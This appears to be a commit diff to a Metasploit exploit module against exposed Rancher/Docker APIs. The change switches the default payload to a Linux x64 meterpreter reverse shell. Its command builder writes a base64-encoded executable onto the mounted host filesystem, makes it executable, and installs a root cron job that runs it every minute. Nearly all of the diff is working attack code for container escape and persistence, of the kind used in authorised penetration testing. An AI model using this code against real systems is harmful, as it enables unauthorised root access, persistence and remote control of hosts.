@@ -30,26 +30,17 @@ def initialize(info = {})
30
30
'URL' => 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface'
31
31
] ,
32
32
'Platform' => 'linux' ,
33
- 'Targets' => [
34
- [ 'Python' , {
35
- 'Platform' => 'python' ,
36
- 'Arch' => ARCH_PYTHON ,
37
- 'Payload' => {
38
- 'Compat' => {
39
- 'ConnectionType' => 'reverse noconn none tunnel'
40
- }
41
- }
42
- } ]
43
- ] ,
44
- 'DefaultOptions' => { 'WfsDelay' => 75 , 'Payload' => 'python/meterpreter/reverse_tcp' } ,
45
- 'DefaultTarget' => 0 ,
46
- 'DisclosureDate' => 'Jul 27, 2017' ) )
33
+ 'Arch' => [ ARCH_X64 ] ,
34
+ 'Targets' => [ [ 'Linux' , { } ] ] ,
35
+ 'DefaultOptions' => { 'WfsDelay' => 75 , 'Payload' => 'linux/x64/meterpreter/reverse_tcp' } ,
36
+ 'DefaultTarget' => 0 ,
37
+ 'DisclosureDate' => 'Jul 27, 2017' ) )
47
38
48
39
register_options (
49
40
[
50
41
Opt ::RPORT ( 8080 ) ,
51
42
OptString . new ( 'TARGETURI' , [ true , 'Path to Rancher Environment' , '/v1/projects/1a5' ] ) ,
52
- OptString . new ( 'DOCKERIMAGE' , [ true , 'hub.docker.com image to use' , 'python:3-slim ' ] ) ,
43
+ OptString . new ( 'DOCKERIMAGE' , [ true , 'hub.docker.com image to use' , 'alpine:latest ' ] ) ,
53
44
OptInt . new ( 'WAIT_TIMEOUT' , [ true , 'Time in seconds to wait for the docker container to deploy' , 60 ] ) ,
54
45
OptString . new ( 'CONTAINER_ID' , [ false , 'container id you would like' ] ) ,
55
46
OptString . new ( 'HttpUsername' , [ false , 'Rancher API Access Key (Username)' ] ) ,
@@ -80,13 +71,10 @@ def make_cmd(mnt_path, cron_path, payload_path)
80
71
echo_cron_path = mnt_path + cron_path
81
72
echo_payload_path = mnt_path + payload_path
82
73
83
- cron_command = "python #{ payload_path } "
84
- payload_data = payload . raw
85
-
86
- command = "echo \" #{ payload_data } \" >> #{ echo_payload_path } \& \& "
74
+ command = "echo #{ Rex ::Text . encode_base64 ( payload . encoded_exe ) } | base64 -d > #{ echo_payload_path } \& \& chmod +x #{ echo_payload_path } \& \& "
87
75
command << "echo \" PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{ echo_cron_path } \& \& "
88
76
command << "echo \" \" >> #{ echo_cron_path } \& \& "
89
- command << "echo \" * * * * * root #{ cron_command } \" >> #{ echo_cron_path } "
77
+ command << "echo \" * * * * * root #{ payload_path } \" >> #{ echo_cron_path } "
90
78
91
79
command
92
80
end
0 commit comments